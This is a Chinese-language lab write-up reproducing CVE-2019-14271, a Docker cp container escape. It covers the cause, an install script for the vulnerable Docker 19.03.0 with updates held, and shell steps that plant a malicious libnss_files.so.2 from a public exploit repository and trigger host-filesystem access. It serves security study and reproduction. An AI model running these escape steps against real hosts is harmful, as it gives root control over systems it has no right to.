# Docker copy 漏洞导致容器逃逸 CVE-2019-14271

## 漏洞描述

`docker cp` 命令允许从容器、向容器中、或容器之间复制文件。语法与标准的 unix cp 命令非常相似。要从容器中复制 `/var/logs`，语法是 `docker cp container_name:/var/logs /some/host/path`。

在复制的过程中 Docker 使用了一个名为 `docker-tar` 的帮助进程。`docker-tar` 是通过 chroot 到容器，将请求的文件或目录存档，然后将生成的 tar 文件传递给 Docker daemon，然后由 daemon 提取到主机的目标目录中。

有漏洞的 Docker 版本是用 Go v1.11 编译的。在该版本中，一些含有嵌入 C 代码（cgo）的包会在运行时动态加载共享的库。这些包包括 `net` 和 `os/user`，都是 docker-tar 使用的，而且在运行时会加载多个 `libnss_*.so` 库。一般来说，库是从 `host` 文件系统加载的，但因为 `docker-tar`chroot 到了容器，因此会从容器文件系统中加载库。也就是说 `docker-tar` 会加载和执行来源于容器或由容器控制的代码。因此，通过注入代码到 `docker-tar`，恶意容器就可以获取 host 主机的完全 root 访问权限。

可能的攻击场景有 Docker 用户从另一个 Docker 处复制文件:

- 容器运行含有恶意 `libnss_*.so` 库的镜像
- 容器中含有被攻击者替换的 `libnss_*.so` 库

在这两种情况下，攻击者都可以获取主机上的 root 代码执行权限。

参考链接：

- https://xz.aliyun.com/t/6806
- https://nvd.nist.gov/vuln/detail/CVE-2019-14271
- https://unit42.paloaltonetworks.com/docker-patched-the-most-severe-copy-vulnerability-to-date-with-cve-2019-14271/
- https://github.com/Metarget/metarget

## 漏洞影响

```
v18.09.9<= Docker <v19.03.8
```

## 环境搭建

ubuntu 18.04 使用以下脚本 `install_docker_19.03.0.sh` 安装 Docker 19.03.0：

```shell
#!/bin/bash
set -e
echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true

echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true

echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list

echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
  | sudo tee /etc/apt/sources.list.d/docker.list

echo "[*] Updating package index..."
sudo apt update

echo "[*] Searching for Docker 19.03.0..."
VERSION_STRING=$(apt-cache madison docker-ce | grep 19.03.0 | head -n1 | awk '{print $3}')
if [ -z "$VERSION_STRING" ]; then
  echo "[*] Docker 19.03.0 not found"
  exit 1
fi
echo "[*] Found version: $VERSION_STRING"

echo "[*] Installing Docker version $VERSION_STRING ..."
sudo apt install -y docker-ce=$VERSION_STRING docker-ce-cli=$VERSION_STRING containerd.io

echo "[*] Locking version to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io

echo "[*] Installation complete, current version:"
docker --version
```

![](images/Docker%20copy%20漏洞导致容器逃逸%20CVE-2019-14271/image-20250526134145172.png)

## 漏洞复现

新建一个容器：

```shell
sudo docker run -itd --name=14271 ubuntu bash
```

将 [漏洞利用文件](https://github.com/Metarget/metarget/tree/master/writeups_cnv/docker-cve-2019-14271/exp) 拷贝至容器内：

```shell
sudo docker cp ./metarget/writeups_cnv/docker-cve-2019-14271/exp/ 14271:/
```

删除容器内原来的 .so 文件，替换为修改后的恶意 .so 文件：

```shell
sudo docker exec -it 14271 bash
root@7271b49ce3d1:/# ls /exp
breakout  libnss_files.so.2  original_libnss_files.so.2
root@7271b49ce3d1:/# cp /exp/* /
root@7271b49ce3d1:/# chmod 777 /breakout
root@7271b49ce3d1:/# touch /logs
root@7271b49ce3d1:/# rm /lib/x86_64-linux-gnu/libnss_files.so.2
root@7271b49ce3d1:/# mv /libnss_files.so.2 /lib/x86_64-linux-gnu/
root@7271b49ce3d1:/# exit
exit
```

替换后退出容器，在宿主机上执行 cp 命令完成逃逸：

```shell
sudo docker cp 14271:/logs ./
```

进入容器内部，可发现根目录下存在 `host_fs` 目录挂载了宿主机的文件系统，成功逃逸：

```shell
sudo docker exec -it 14271 bash
root@7271b49ce3d1:/# ls -al / | grep host_fs
drwxr-xr-x  24 root root 4096 May 26 05:46 host_fs
```

![](images/Docker%20copy%20漏洞导致容器逃逸%20CVE-2019-14271/image-20250526135350026.png)

## 漏洞修复

- 升级至最新版本 https://docs.docker.com/engine/release-notes/
